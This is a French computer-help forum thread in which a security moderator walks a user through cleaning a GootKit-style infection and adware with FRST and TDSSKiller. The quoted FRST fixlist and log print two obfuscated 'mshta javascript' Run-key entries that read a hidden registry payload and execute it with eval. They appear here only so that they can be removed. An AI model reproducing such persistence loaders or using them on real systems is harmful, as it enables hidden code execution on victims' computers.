[Help] Virus et malwares qui pourrissent mon ordi

Résolu

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention -
Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention - 25 mai 2015 à 16:49

Bonjour, j'ai fais l'énorme erreur de télécharger un fichier infecté résultat : toutes les 30 sec mon avast affiche une menace bloqué puis quand je veux installer Malwarebytes Anti-Malware Free le virus dans mon ordi m'empêche de l'installer. Avez-vous d'autres logiciels qui supprime ce virus c'est horrible je ne veux rentrer plus aucun mot de passe ou autre pour pas que le truc le voit. Besoin d'aide urgente please :(

Afficher la suite

A voir également:

[Help] Virus et malwares qui pourrissent mon ordi
Ordi qui rame - Guide
Comment reinitialiser un ordi - Guide
Virus mcafee - Accueil - Piratage
Mon ordi ne reconnait pas ma clé usb - Guide
Ordi scrabble - Télécharger - Jeux vidéo

4 réponses

Réponse 1 / 4

Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention 24 685

Salut,

Si tu peux donner les infos sur les détections, ça sera mieux.

Suis ce tutoriel FRST: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/
(et bien prendre le temps de lire afin d'appliquer correctement - tout y est expliqué).
Télécharge et lance le scan FRST, cela va générer trois rapports FRST :

FRST.txt
Shortcut.txt
Additionnal.txt

Envoie, comme expliqué, ces trois rapports sur le site http://pjjoint.malekal.com et en retour donne les trois liens pjjoint qui mènent à ses rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

Like the angel you are, you laugh creating a lightness in my chest,
Your eyes they penetrate me,
(Your answer's always 'maybe')
That's when I got up and left

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention 101

Déjà merci de vouloir m'aider ensuite voilà :
https://pjjoint.malekal.com/files.php?id=FRST_20150523_10o7s12r5r5

https://pjjoint.malekal.com/files.php?id=20150523_v12h7m8j8t6

https://pjjoint.malekal.com/files.php?id=20150523_v6k9f15d7x9

Réponse 2 / 4

Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention 24 685

Deux antivirus, cela ne sert à rien.
Désinstalle un des deux.

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: avast! Antivirus (Enabled - Up to date) {17AD7D40-BA12-9C46-7131-94903A54AD8B}
AV: AVG AntiVirus Free Edition 2015 (Enabled - Up to date) {4D41356F-32AD-7C42-C820-63775EE4F413}

Désinstalle
ProxyGate
Spyhunter

Tu as des adwares mais surtout ton PC semble être infecté par http://www.supprimer-virus.com/trojan-gootkit-et-trojwonton-mshta-virus/GootKit]
Ce qui est étonnant car normalement il vise les entreprises.

Commence par le fix FRST.

Voici la correction à effectuer avec FRST.
Tu peux t'inspirer de cette note explicative avec des captures d'écran pour t'aider: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/#fix

Ouvre le bloc-notes : Touche Windows + R, dans le champs executer, tape notepad et OK.
Copie/colle dedans ce qui suit :

HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion

Une fois, le texte coller dans le bloc-note.
Menu Fichier puis Enregistrer sous.
A gauche, place toi sur le bureau.
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clic sur Enregistrer - cela va créer un fichier fixlist.txt sur le bureau.

Relance FRST et clic sur le bouton Fix
Selon comment un redémarrage est nécessaire (pas obligatoire).
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention 101

Merci beaucoup de m'aider après avoir fait le Fix j'ai eu ça :

Fix result of Farbar Recovery Scan Tool (x64) Version: 22-05-2015 01
Ran by Inside at 2015-05-23 17:37:10 Run:1
Running from C:\Users\Inside\Desktop
Loaded Profiles: Inside (Available Profiles: Inside)
Boot Mode: Normal
==============================================

fixlist content:

HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**fc9810ce<*>] => mshta javascript:VcKt66sAxk=y5FF;L7h2=new%20ActiveXObject(WScript.Shell);S0S7mpUBOj=Y;kw4L7a=L7h2.RegRead(HKCU\\software\\d16f11a3\\819700fe);soZWJy2Dz=QS11;eval(kw4L7a);xbf5gMx=ytF; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [**a04993ac<*>] => mshta javascript:W6m8umyuPC=x;Zg1=new%20ActiveXObject(WScript.Shell);ExMjsv8JJ=3a;kE8fb=Zg1.RegRead(HKCU\\software\\d16f11a3\\819700fe);AzjEr2W=AVyD2hUU;eval(kE8fb);VR8LmfB3A=cBsPr4gC; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-833365847-1711297823-849759724-1001\...\Run: [ProxyGate] => C:\Users\Inside\AppData\Roaming\ProxyGate\MainService.exe [1143248 2015-04-01] (Gold Click Ltd)
2015-05-23 13:40 - 2015-05-23 14:34 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\Enigma Software Group
2015-05-23 13:35 - 2015-05-23 13:36 - 00000000 ____D () C:\Users\Inside\AppData\Local\BreakingNewsAlert
2015-05-23 13:11 - 2015-05-23 13:11 - 02223104 _____ () C:\Users\Inside\Downloads\adwcleaner_4.205.exe
2015-05-23 13:10 - 2015-05-23 13:10 - 00000000 ____D () C:\ProgramData\Paultuopago
2015-05-23 13:05 - 2015-05-23 14:36 - 00000000 ____D () C:\ProgramData\UswhyV
2015-05-23 13:04 - 2015-05-23 13:04 - 00000000 ____D () C:\Users\Inside\AppData\Roaming\ProxyGate
2015-05-23 12:48 - 2015-05-23 14:29 - 00000000 ____D () C:\Users\Inside\AppData\Local\Ezmjtion

HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**fc9810ce<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**a04993ac<*> => Value Removed successfully
HKU\S-1-5-21-833365847-1711297823-849759724-1001\Software\Microsoft\Windows\CurrentVersion\Run\\ProxyGate => Value not found.
"C:\Users\Inside\AppData\Roaming\Enigma Software Group" => File/Folder not found.
C:\Users\Inside\AppData\Local\BreakingNewsAlert => Moved successfully.
C:\Users\Inside\Downloads\adwcleaner_4.205.exe => Moved successfully.
C:\ProgramData\Paultuopago => Moved successfully.
C:\ProgramData\UswhyV => Moved successfully.
"C:\Users\Inside\AppData\Roaming\ProxyGate" => File/Folder not found.
C:\Users\Inside\AppData\Local\Ezmjtion => Moved successfully.

End of Fixlog 17:37:10

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention 101

Avast me met plus d'alerte comme quoi j'ai un virus donc normalement c'est bon je te remercie énormément tu as été très efficace tu me sauves la vie ;) merci d'avoir consacrer une partie de ton temps à regler mon problème !

Réponse 3 / 4

Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention 24 685

Tu peux faire ça pour voir :

Passe un coup de TDSSKiller : https://forum.malekal.com/viewtopic.php?t=28637&start=
Fais skip sur les détections.
Clic en haut à droite sur reports.
Vas sur http://pjjoint.malekal.com et copie/colle le contenu du rapport TDSSKiller en bas, fais envoyer.
Donne le lien du rapport pjjoint ici dans un nouveau message.

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention 101

https://pjjoint.malekal.com/files.php?id=20150523_u12p11z13c13g6

Voilà

Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention 24 685

C'est un PC d'entreprise ?

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention 101 > Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention

Non mais je suis allé le faire réparer chez Inside Multimédia pour changer mon ventilo y a une semaine donc ça doit être eux qui ont du toucher un truc

Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention 24 685

Humm bizarre.
Tu peux refaire un scan FRST pour vérifier qu'il n'y a plus rien.
Donne les rapports via pjjoint.

nicolasbaboon Messages postés 264 Date d'inscription Statut Membre Dernière intervention 101

https://pjjoint.malekal.com/files.php?id=20150524_d15l8t14h12b5

https://pjjoint.malekal.com/files.php?id=20150524_c8j9c10o10b11

voila

Réponse 4 / 4

Malekal_morte- Messages postés 180304 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention 24 685

=)

Voila, c'est terminé, tu peux supprimer les programmes utilisés.

Quelques conseils :

Pour prévenir les sites malicieux, tu peux installer Blockulicious : https://forum.malekal.com/viewtopic.php?t=46656&start=

Pour ne plus te faire avoir.
A lire - Programmes parasites / PUPs : https://www.malekal.com/adwares-pup-protection/
(Surtout active les détections LPIs pour détecter les programmes parasites et publicitaires)

Le reste de la sécurité : http://forum.malekal.com/comment-securiser-son-ordinateur.html

Discussions similaires

Softonic,est-ce un virus ?

End of Fixlog 17:37:10

Votre réponse

Discussions similaires